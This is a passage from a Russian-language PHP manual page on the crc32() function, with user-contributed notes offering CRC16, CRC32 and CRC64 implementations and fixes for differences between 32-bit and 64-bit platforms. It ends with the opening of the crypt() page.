Можно воспользоваться также более общим решением с использованием функции hash(). hash("crc32b", $str) вернёт ту же строку, что и str_pad(dechex(crc32($str)), 8, '0', STR_PAD_LEFT).

Список параметров

string

Данные.

Возвращаемые значения

Возвращает контрольную сумму crc32 строки string в виде целого числа.

Примеры

Пример #1 Вывод контрольной суммы CRC32

Этот пример иллюстрирует вывод вычисленной контрольной суммы с помощью функции printf():

<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
?>

Смотрите также

  • hash() - Генерирует хеш-код (подпись сообщения)
  • md5() - Возвращает MD5-хеш строки
  • sha1() - Возвращает SHA1-хеш строки

User Contributed Notes

dotg at mail dot ru 29-Dec-2016 09:33
crc32() on php 32bit and 64 bit not equal in some values

i use abs for result in positive for 32 bit

not equal
<?=abs(crc32(1));?>
64 bit
2212294583
32 bit
2082672713

equal
<?=abs(crc32(3));?>
64 bit
1842515611
32 bit
1842515611
toggio at writeme dot com 30-Jan-2016 05:15
A faster implementation of modbus CRC16

function crc16($data)
 {
   $crc = 0xFFFF;
   for ($i = 0; $i < strlen($data); $i++)
   {
     $crc ^=ord($data[$i]);

        for ($j = 8; $j !=0; $j--)
        {
            if (($crc & 0x0001) !=0)
            {
                $crc >>= 1;
                $crc ^= 0xA001;
            }
            else
                $crc >>= 1;
        }
    }
   return $crc;
 }
JS at JavsSys dot Org 13-Apr-2013 04:22
The khash() function by sukitsupaluk has two problems, it does not use all 62 characters from the $map set and when corrected it then produces different results on 64-bit compared to 32-bit PHP systems.

Here is my modified version :

<?php

/**
 * Small sample convert crc32 to character map
 * Based upon http://www.php.net/manual/en/function.crc32.php#105703
 * (Modified to now use all characters from $map)
 * (Modified to be 32-bit PHP safe)
 */
function khash($data)
{
    static $map = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash = bcadd(sprintf('%u',crc32($data)) , 0x100000000);
    $str = "";
    do
    {
        $str = $map[bcmod($hash, 62) ] . $str;
        $hash = bcdiv($hash, 62);
    }
    while ($hash >= 1);
    return $str;
}
//-----------------------------------------------------------------------------------
$test = array(null, true, false, 0, "0", 1, "1", "2", "3", "ab", "abc", "abcd",
    "abcde", "abcdefoo", "248840027", "1365848013", // time()
    "9223372035488927794", // PHP_INT_MAX-time()
    "901131979", // mt_rand()
    "Sat, 13 Apr 2013 10:13:33 +0000" // gmdate('r')
);
$out = array();
foreach ($test as $s)
{
    $out[] = khash($s) . ": " . $s;
}
print "<h3>khash() -- maps a crc32 result into a (62-character) result</h3>";
print '<pre>';
var_dump($out);
print "\n\n\$GLOBALS['raw_crc32']:\n";
var_dump($GLOBALS['raw_crc32']);
print '</pre><hr>';
flush();
$pefile = __FILE__;
print "<h3>$pefile</h3>";
ob_end_flush();
flush();
highlight_file($pefile);
print "<hr>";
//-----------------------------------------------------------------------------------
/* CURRENT output
array(19) {
  [0]=>
  string(8) "4GFfc4: "
  [1]=>
  string(9) "76nO4L: 1"
  [2]=>
  string(8) "4GFfc4: "
  [3]=>
  string(9) "9aGcIp: 0"
  [4]=>
  string(9) "9aGcIp: 0"
  [5]=>
  string(9) "76nO4L: 1"
  [6]=>
  string(9) "76nO4L: 1"
  [7]=>
  string(9) "5b8iNn: 2"
  [8]=>
  string(9) "6HmfFN: 3"
  [9]=>
  string(10) "7ADPD7: ab"
  [10]=>
  string(11) "5F0aUq: abc"
  [11]=>
  string(12) "92kWw9: abcd"
  [12]=>
  string(13) "78hcpf: abcde"
  [13]=>
  string(16) "9eBVPB: abcdefoo"
  [14]=>
  string(17) "5TjOuZ: 248840027"
  [15]=>
  string(18) "5eNliI: 1365848013"
  [16]=>
  string(27) "4Q00e5: 9223372035488927794"
  [17]=>
  string(17) "6DUX8V: 901131979"
  [18]=>
  string(39) "5i2aOW: Sat, 13 Apr 2013 10:13:33 +0000"
}
*/
//-----------------------------------------------------------------------------------

?>
i at morfi dot ru 18-Mar-2013 01:16
Implementation crc64() in php 64bit

<?php

/**
 * @return array
 */
function crc64Table()
{
    $crc64tab = [];

    // ECMA polynomial
    $poly64rev = (0xC96C5795 << 32) | 0xD7870F42;

    // ISO polynomial
    // $poly64rev = (0xD8 << 56);

    for ($i = 0; $i < 256; $i++)
    {
        for ($part = $i, $bit = 0; $bit < 8; $bit++) {
            if ($part & 1) {
                $part = (($part >> 1) & ~(0x8 << 60)) ^ $poly64rev;
            } else {
                $part = ($part >> 1) & ~(0x8 << 60);
            }
        }

       $crc64tab[$i] = $part;
    }

    return $crc64tab;
}

/**
 * @param string $string
 * @param string $format
 * @return mixed
 *
 * Formats:
 *  crc64('php'); // afe4e823e7cef190
 *  crc64('php', '0x%x'); // 0xafe4e823e7cef190
 *  crc64('php', '0x%X'); // 0xAFE4E823E7CEF190
 *  crc64('php', '%d'); // -5772233581471534704 signed int
 *  crc64('php', '%u'); // 12674510492238016912 unsigned int
 */
function crc64($string, $format = '%x')
{
    static $crc64tab;

    if ($crc64tab === null) {
        $crc64tab = crc64Table();
    }

    $crc = 0;

    for ($i = 0; $i < strlen($string); $i++) {
        $crc = $crc64tab[($crc ^ ord($string[$i])) & 0xff] ^ (($crc >> 8) & ~(0xff << 56));
    }

    return sprintf($format, $crc);
}
Clifford dot ct at gmail dot com 07-Aug-2012 08:54
The crc32() function can return a signed integer in certain environments.  Assuming that it will always return an unsigned integer is not portable.

Depending on your desired behavior, you should probably use sprintf() on the result or the generic hash() instead.  Also note that integer arithmetic operators do not have the precision to work correctly with the integer output.
alban dot lopez+php [ at ] gmail dot com 26-Nov-2011 06:02
I made this code to verify Transmition with Vantage Pro2 ( weather station ) based on CRC16-CCITT standard.

<?php
// CRC16-CCITT validator
$crc_table = array(
    0x0,  0x1021,  0x2042,  0x3063,  0x4084,  0x50a5,  0x60c6,  0x70e7,
        0x8108,  0x9129,  0xa14a,  0xb16b,  0xc18c,  0xd1ad,  0xe1ce,  0xf1ef,
        0x1231,  0x210,  0x3273,  0x2252,  0x52b5,  0x4294,  0x72f7,  0x62d6,
        0x9339,  0x8318,  0xb37b,  0xa35a,  0xd3bd,  0xc39c,  0xf3ff,  0xe3de,
        0x2462,  0x3443,  0x420,  0x1401,  0x64e6,  0x74c7,  0x44a4,  0x5485,
        0xa56a,  0xb54b,  0x8528,  0x9509,  0xe5ee,  0xf5cf,  0xc5ac,  0xd58d,
        0x3653,  0x2672,  0x1611,  0x630,  0x76d7,  0x66f6,  0x5695,  0x46b4,
        0xb75b,  0xa77a,  0x9719,  0x8738,  0xf7df,  0xe7fe,  0xd79d,  0xc7bc,
        0x48c4,  0x58e5,  0x6886,  0x78a7,  0x840,  0x1861,  0x2802,  0x3823,
        0xc9cc,  0xd9ed,  0xe98e,  0xf9af,  0x8948,  0x9969,  0xa90a,  0xb92b,
        0x5af5,  0x4ad4,  0x7ab7,  0x6a96,  0x1a71,  0xa50,  0x3a33,  0x2a12,
        0xdbfd,  0xcbdc,  0xfbbf,  0xeb9e,  0x9b79,  0x8b58,  0xbb3b,  0xab1a,
        0x6ca6,  0x7c87,  0x4ce4,  0x5cc5,  0x2c22,  0x3c03,  0xc60,  0x1c41,
        0xedae,  0xfd8f,  0xcdec,  0xddcd,  0xad2a,  0xbd0b,  0x8d68,  0x9d49,
        0x7e97,  0x6eb6,  0x5ed5,  0x4ef4,  0x3e13,  0x2e32,  0x1e51,  0xe70,
        0xff9f,  0xefbe,  0xdfdd,  0xcffc,  0xbf1b,  0xaf3a,  0x9f59,  0x8f78,
        0x9188,  0x81a9,  0xb1ca,  0xa1eb,  0xd10c,  0xc12d,  0xf14e,  0xe16f,
        0x1080,  0xa1,  0x30c2,  0x20e3,  0x5004,  0x4025,  0x7046,  0x6067,
        0x83b9,  0x9398,  0xa3fb,  0xb3da,  0xc33d,  0xd31c,  0xe37f,  0xf35e,
        0x2b1,  0x1290,  0x22f3,  0x32d2,  0x4235,  0x5214,  0x6277,  0x7256,
        0xb5ea,  0xa5cb,  0x95a8,  0x8589,  0xf56e,  0xe54f,  0xd52c,  0xc50d,
        0x34e2,  0x24c3,  0x14a0,  0x481,  0x7466,  0x6447,  0x5424,  0x4405,
        0xa7db,  0xb7fa,  0x8799,  0x97b8,  0xe75f,  0xf77e,  0xc71d,  0xd73c,
        0x26d3,  0x36f2,  0x691,  0x16b0,  0x6657,  0x7676,  0x4615,  0x5634,
        0xd94c,  0xc96d,  0xf90e,  0xe92f,  0x99c8,  0x89e9,  0xb98a,  0xa9ab,
        0x5844,  0x4865,  0x7806,  0x6827,  0x18c0,  0x8e1,  0x3882,  0x28a3,
        0xcb7d,  0xdb5c,  0xeb3f,  0xfb1e,  0x8bf9,  0x9bd8,  0xabbb,  0xbb9a,
        0x4a75,  0x5a54,  0x6a37,  0x7a16,  0xaf1,  0x1ad0,  0x2ab3,  0x3a92,
        0xfd2e,  0xed0f,  0xdd6c,  0xcd4d,  0xbdaa,  0xad8b,  0x9de8,  0x8dc9,
        0x7c26,  0x6c07,  0x5c64,  0x4c45,  0x3ca2,  0x2c83,  0x1ce0,  0xcc1,
        0xef1f,  0xff3e,  0xcf5d,  0xdf7c,  0xaf9b,  0xbfba,  0x8fd9,  0x9ff8,
        0x6e17,  0x7e36,  0x4e55,  0x5e74,  0x2e93,  0x3eb2,  0xed1,  0x1ef0);

    $test = chr(0xC6).chr(0xCE).chr(0xA2).chr(0x03); // CRC16-CCITT = 0xE2B4
    genCRC ($test);

function genCRC (&$ptr)
{
    $crc = 0x0000;
    $crc_table = $GLOBALS['crc_table'];
    for ($i = 0; $i < strlen($ptr); $i++)
        $crc =  $crc_table[(($crc>>8) ^ ord($ptr[$i]))] ^ (($crc<<8) & 0x00FFFF);
    return $crc;
}
?>
arris at zsolttech dot com 19-Oct-2011 05:17
not found anywhere crc64 based on http://bioinfadmin.cs.ucl.ac.uk/downloads/crc64/crc64.c .

(use gmp module)

<?php

/* OLDCRC */
define('POLY64REV', "d800000000000000");
define('INITIALCRC', "0000000000000000");
define('TABLELEN', 256);
/* NEWCRC */
// define('POLY64REV', "95AC9329AC4BC9B5");
// define('INITIALCRC', "FFFFFFFFFFFFFFFF");

if(function_exists('gmp_init')){
        class CRC64{

                private static $CRCTable = array();

                public static function encode($seq){

                        $crc = gmp_init(INITIALCRC, 16);
                        $init = FALSE;
                        $poly64rev = gmp_init(POLY64REV, 16);

                        if (!$init)
                        {
                                $init = TRUE;
                                for ($i = 0; $i < TABLELEN; $i++)
                                {
                                        $part = gmp_init($i, 10);
                                        for ($j = 0; $j < 8; $j++)
                                        {
                                                if (gmp_strval(gmp_and($part, "0x1")) != "0"){
                                                        // if (gmp_testbit($part, 1)){ /* PHP 5 >= 5.3.0, untested */
                                                        $part = gmp_xor(gmp_div_q($part, "2"), $poly64rev);
                                                } else {
                                                        $part = gmp_div_q($part, "2");
                                                }
                                        }
                                        self::$CRCTable[$i] = $part;
                                }
                        }

                        for($k = 0; $k < strlen($seq); $k++){
                                $tmp_gmp_val = gmp_init(ord($seq[$k]), 10);
                                $tableindex = gmp_xor(gmp_and($crc, "0xff"), $tmp_gmp_val);
                                $crc = gmp_div_q($crc, "256");
                                $crc = gmp_xor($crc, self::$CRCTable[gmp_strval($tableindex, 10)]);
                        }

                        $res = gmp_strval($crc, 16);

                        return $res;
                }
        }
} else {
        die("Please install php-gmp package!!!");
}
?>
sukitsupaluk at hotmail dot com 08-Sep-2011 03:04
small sample convert crc32 to character map

<?php

function khash($data) {
    static $map="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash=crc32($data)+0x100000000;
    $str = "";
    do {
        $str = $map[31+ ($hash % 31)] . $str;
        $hash /= 31;
    } while($hash >= 1);
    return $str;
}
$test= array(null,TRUE,FALSE,0,"0",1,"1","2","3","ab","abc","abcd","abcde","abcdefoo");
$out = array();
foreach($test as $s)
{
    $out[]=khash($s).": ". $s;
}
var_dump($out);

/*
output:
array
  0 => string 'zVvOYTv: ' (length=9)
  1 => string 'xKDKKL8: 1' (length=10)
  2 => string 'zVvOYTv: ' (length=9)
  3 => string 'zOKCQxh: 0' (length=10)
  4 => string 'zOKCQxh: 0' (length=10)
  5 => string 'xKDKKL8: 1' (length=10)
  6 => string 'xKDKKL8: 1' (length=10)
  7 => string 'AFSzIAO: 2' (length=10)
  8 => string 'BXGSvQJ: 3' (length=10)
  9 => string 'xZWOQSu: ab' (length=11)
  10 => string 'AVAwHOR: abc' (length=12)
  11 => string 'zKASNE1: abcd' (length=13)
  12 => string 'xLCTOV7: abcde' (length=14)
  13 => string 'zQLzKMt: abcdefoo' (length=17)

*/

?>
chernyshevsky at hotmail dot com 22-Sep-2010 03:54
The crc32_combine() function provided by petteri at qred dot fi has a bug that causes an infinite loop, a shift operation on a 32-bit signed int might never reach zero. Replacing the function gf2_matrix_times() with the following seems to fix it:

<?php
function gf2_matrix_times($mat, $vec)
{
    $sum=0;
    $i=0;

    while ($vec) {
        if ($vec & 1) {
            $sum ^= $mat[$i];
        }
        $vec = ($vec >> 1) & 0x7FFFFFFF;
        $i++;
    }
    return $sum;
}
?>

Otherwise, it's probably the best solution if you can't use hash_file(). Using a 1meg read buffer, the function only takes twice as long to process a 300meg files than hash_file() in my test.
gabri dot ns at gmail dot com 15-Sep-2010 10:05
if you are looking for a fast function to hash a file, take a look at
http://www.php.net/manual/en/function.hash-file.php
this is crc32 file checker based on a CRC32 guide
it have performance at ~ 625 KB/s on my 2.2GHz Turion
far slower than hash_file('crc32b','filename.ext')
<?php
function crc32_file ($filename)
{
   $f = @fopen($filename,'rb');
   if (!$f) return false;

   static $CRC32Table, $Reflect8Table;
   if (!isset($CRC32Table))
   {
      $Polynomial = 0x04c11db7;
      $topBit = 1 << 31;

      for($i = 0; $i < 256; $i++)
      {
         $remainder = $i << 24;
         for ($j = 0; $j < 8; $j++)
         {
            if ($remainder & $topBit)
               $remainder = ($remainder << 1) ^ $Polynomial;
            else $remainder = $remainder << 1;
         }

         $CRC32Table[$i] = $remainder;

         if (isset($Reflect8Table[$i])) continue;
         $str = str_pad(decbin($i), 8, '0', STR_PAD_LEFT);
         $num = bindec(strrev($str));
         $Reflect8Table[$i] = $num;
         $Reflect8Table[$num] = $i;
      }
   }

   $remainder = 0xffffffff;
   while ($data = fread($f,1024))
   {
      $len = strlen($data);
      for ($i = 0; $i < $len; $i++)
      {
         $byte = $Reflect8Table[ord($data[$i])];
         $index = (($remainder >> 24) & 0xff) ^ $byte;
         $crc = $CRC32Table[$index];
         $remainder = ($remainder << 8) ^ $crc;
      }
   }

   $str = decbin($remainder);
   $str = str_pad($str, 32, '0', STR_PAD_LEFT);
   $remainder = bindec(strrev($str));
   return $remainder ^ 0xffffffff;
}
?>

<?php
$a = microtime();
echo dechex(crc32_file('filename.ext'))."\n";
$b = microtime();
echo array_sum(explode(' ',$b)) - array_sum(explode(' ',$a))."\n";
?>
Output:
ec7369fe
2.384134054184 (or similiar)
jian at theorchard dot com 17-Feb-2010 10:13
This function returns an unsigned integer from a 64-bit Linux platform.  It does return the signed integer from other 32-bit platforms even a 64-bit Windows one.

The reason is because the two constants PHP_INT_SIZE and PHP_INT_MAX have different values on the 64-bit Linux platform.

I've created a work-around function to handle this situation.

<?php
function get_signed_int($in) {
    $int_max = pow(2, 31)-1;
    if ($in > $int_max){
        $out = $in - $int_max * 2 - 2;
    }
    else {
        $out = $in;
    }
    return $out;
}
?>

Hope this helps.
berna (at) gensis (dot) com (dot) br 29-Sep-2009 08:16
For those who want a more familiar return value for the function:

<?php
function strcrc32($text) {
  $crc = crc32($text);
  if ($crc & 0x80000000) {
    $crc ^= 0xffffffff;
    $crc += 1;
    $crc = -$crc;
  }
  return $crc;
}
?>

And to show the result in Hex string:

<?php
function int32_to_hex($value) {
  $value &= 0xffffffff;
  return str_pad(strtoupper(dechex($value)), 8, "0", STR_PAD_LEFT);
}
?>
dave at jufer dot info 03-Dec-2007 02:15
This function returns the same int value on a 64 bit mc. like the crc32() function on a 32 bit mc.

<?php
function crcKw($num){
    $crc = crc32($num);
    if($crc & 0x80000000){
        $crc ^= 0xffffffff;
        $crc += 1;
        $crc = -$crc;
    }
    return $crc;
}
?>
Ren 03-Oct-2007 11:53
Dealing with 32 bit unsigned values overflowing 32 bit php signed values can be done by adding 0x10000000 to any unexpected negative result, rather than using sprintf.

$i = crc32('1');
printf("%u\n", $i);
if (0 > $i)
{
    // Implicitly casts i as float, and corrects this sign.
    $i += 0x100000000;
}
var_dump($i);

Outputs:

2212294583
float(2212294583)
slimshady451 20-Jun-2007 02:14
I see a lot of function for crc32_file, but for php version >= 5.1.2 don't forget you can use this :

<?php
function crc32_file($filename)
{
    return hash_file ('CRC32', $filename , FALSE );
}
?>

Using crc32(file_get_contents($filename)) will use too many memory on big file so don't use it.
mail at tristansmis dot nl 30-May-2007 01:36
I used the abs value of this function on a 32-bit system. When porting the code to a 64-bit system I've found that the value is different. The following code has the same outcome on both systems.
<?php

   $crc = abs(crc32($string));
   if( $crc & 0x80000000){
      $crc ^= 0xffffffff;
      $crc += 1;
   }

   /* Old solution
    * $crc = abs(crc32($string))
    */

?>
roberto at spadim dot com dot br 07-Apr-2006 09:52
MODBUS RTU, CRC16,
input-> modbus rtu string
output -> 2bytes string, in correct modbus order

<?php
function crc16($string,$length=0){

    $auchCRCHi=array(    0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40);
    $auchCRCLo=array(    0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
                0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
                0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
                0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
                0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
                0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
                0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
                0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
                0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
                0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
                0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
                0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
                0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
                0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
                0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
                0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
                0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
                0x40);
    $length        =($length<=0?strlen($string):$length);
    $uchCRCHi    =0xFF;
    $uchCRCLo    =0xFF;
    $uIndex        =0;
    for ($i=0;$i<$length;$i++){
        $uIndex        =$uchCRCLo ^ ord(substr($string,$i,1));
        $uchCRCLo    =$uchCRCHi ^ $auchCRCHi[$uIndex];
        $uchCRCHi    =$auchCRCLo[$uIndex] ;
    }
    return(chr($uchCRCLo).chr($uchCRCHi));
}
?>
Bulk at bulksplace dot com 27-Aug-2005 05:46
A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function:

<?php
// $file is the path to the file you want to check.
function file_crc($file)
{
    $file_string = file_get_contents($file);

    $crc = crc32($file_string);

    return sprintf("%u", $crc);
}

$file_to_crc = /home/path/to/file.jpg;

echo file_crc($file_to_crc); // Outputs CRC value for given file.
?>

I've found in testing this method is MUCH faster for larger binary files.
waldomonster at netjukebox dot demon dot nl 23-Apr-2004 08:48
<?php
$data = 'dot';
echo dechex(crc32($data));
?>

Returns 59278a3
Witch is missing a leading zero.

<?php
$data = 'dot';
echo str_pad(dechex(crc32($data)), 8, '0', STR_PAD_LEFT);
?>

Returns the correct string: 059278a3
arachnid at notdot dot net 13-Apr-2004 08:44
Note that the CRC32 algorithm should NOT be used for cryptographic purposes, or in situations where a hostile/untrusted user is involved, as it is far too easy to generate a hash collision for CRC32 (two different binary strings that have the same CRC32 hash). Instead consider SHA-1 or MD5.
same 01-Feb-2004 05:27
bit by bit crc32 computation

<?php

function bitbybit_crc32($str,$first_call=false){

    //reflection in 32 bits of crc32 polynomial 0x04C11DB7
    $poly_reflected=0xEDB88320;

    //=0xFFFFFFFF; //keep track of register value after each call
    static $reg=0xFFFFFFFF;

    //initialize register on first call
    if($first_call) $reg=0xFFFFFFFF;

    $n=strlen($str);
    $zeros=$n<4 ? $n : 4;

    //xor first $zeros=min(4,strlen($str)) bytes into the register
    for($i=0;$i<$zeros;$i++)
        $reg^=ord($str{$i})<<$i*8;

    //now for the rest of the string
    for($i=4;$i<$n;$i++){
        $next_char=ord($str{$i});
        for($j=0;$j<8;$j++)
            $reg=(($reg>>1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F)
                ^($reg&1)*$poly_reflected;
    }

    //put in enough zeros at the end
    for($i=0;$i<$zeros*8;$i++)
        $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected;

    //xor the register with 0xFFFFFFFF
    return ~$reg;
}

$str="123456789"; //whatever
$blocksize=4; //whatever

for($i=0;$i<strlen($str);$i+=$blocksize) $crc=bitbybit_crc32(substr($str,$i,$blocksize),!$i);

?>
quix at free dot fr 05-May-2003 01:19
I needed the crc32 of a file that was pretty large, so I didn't want to read it into memory.
So I made this:

<?php
    $GLOBALS['__crc32_table']=array();        // Lookup table array
    __crc32_init_table();

    function __crc32_init_table() {            // Builds lookup table array
        // This is the official polynomial used by
        // CRC-32 in PKZip, WinZip and Ethernet.
        $polynomial = 0x04c11db7;

        // 256 values representing ASCII character codes.
        for($i=0;$i <= 0xFF;++$i) {
            $GLOBALS['__crc32_table'][$i]=(__crc32_reflect($i,8) << 24);
            for($j=0;$j < 8;++$j) {
                $GLOBALS['__crc32_table'][$i]=(($GLOBALS['__crc32_table'][$i] << 1) ^
                    (($GLOBALS['__crc32_table'][$i] & (1 << 31))?$polynomial:0));
            }
            $GLOBALS['__crc32_table'][$i] = __crc32_reflect($GLOBALS['__crc32_table'][$i], 32);
        }
    }

    function __crc32_reflect($ref, $ch) {        // Reflects CRC bits in the lookup table
        $value=0;

        // Swap bit 0 for bit 7, bit 1 for bit 6, etc.
        for($i=1;$i<($ch+1);++$i) {
            if($ref & 1) $value |= (1 << ($ch-$i));
            $ref = (($ref >> 1) & 0x7fffffff);
        }
        return $value;
    }

    function __crc32_string($text) {        // Creates a CRC from a text string
        // Once the lookup table has been filled in by the two functions above,
        // this function creates all CRCs using only the lookup table.

        // You need unsigned variables because negative values
        // introduce high bits where zero bits are required.
        // PHP doesn't have unsigned integers:
        // I've solved this problem by doing a '&' after a '>>'.

        // Start out with all bits set high.
        $crc=0xffffffff;
        $len=strlen($text);

        // Perform the algorithm on each character in the string,
        // using the lookup table values.
        for($i=0;$i < $len;++$i) {
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($text{$i})];
        }

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }

    function __crc32_file($name) {            // Creates a CRC from a file
        // Info: look at __crc32_string

        // Start out with all bits set high.
        $crc=0xffffffff;

        if(($fp=fopen($name,'rb'))===false) return false;

        // Perform the algorithm on each character in file
        for(;;) {
            $i=@fread($fp,1);
            if(strlen($i)==0) break;
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($i)];
        }

        @fclose($fp);

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }
?>
spectrumizer at cycos dot net 29-Dec-2002 03:30
Here is a tested and working CRC16-Algorithm:

<?php
function crc16($string) {
  $crc = 0xFFFF;
  for ($x = 0; $x < strlen ($string); $x++) {
    $crc = $crc ^ ord($string[$x]);
    for ($y = 0; $y < 8; $y++) {
      if (($crc & 0x0001) == 0x0001) {
        $crc = (($crc >> 1) ^ 0xA001);
      } else { $crc = $crc >> 1; }
    }
  }
  return $crc;
}
?>

Regards,
Mario


Необратимое хеширование строки

  • « crc32
  • echo »
  • PHP Manual
  • Функции для работы со строками
  • Необратимое хеширование строки

crypt

(PHP 4, PHP 5, PHP 7, PHP 8)

crypt — Необратимое хеширование строки

Внимание

Эта функция (пока) небезопасна для обработки данных в двоичной форме!

Описание

crypt(string $string, string $salt): string

crypt() возвращает хешированную строку,
полученную с помощью стандартного алгоритма UNIX, основанного
на DES или другого алгоритма.
Функция password_verify() совместима с crypt().
Следовательно, хеши паролей, созданные crypt(),
могут быть использованы в password_verify().

До версии PHP 8.0.0 параметр salt был необязательным. Однако функция crypt() создаёт слабый хеш без параметра salt, а без него выдаёт ошибку уровня E_NOTICE. Убедитесь, что используете достаточно сложную соль для лучшей безопасности.

Функция password_hash() использует сложный хеш, генерирует сложную соль и применяет правильно количество раундов хеширования автоматически. password_hash() является простой обёрткой над crypt() и совместима с существующими хешами паролей. Поэтому приветствуется использование password_hash().

Вид хеширования определяется переданным аргументом salt (соль). Если соль не указана, будет автоматически сгенерирована стандартная случайная двухсимвольная (DES) или двенадцатисимвольная (MD5) соль, в зависимости от доступности алгоритма MD5 в crypt(). Предопределённая константа CRYPT_SALT_LENGTH позволяет определить максимально доступную длину соли в соответствии с используемыми алгоритмами.

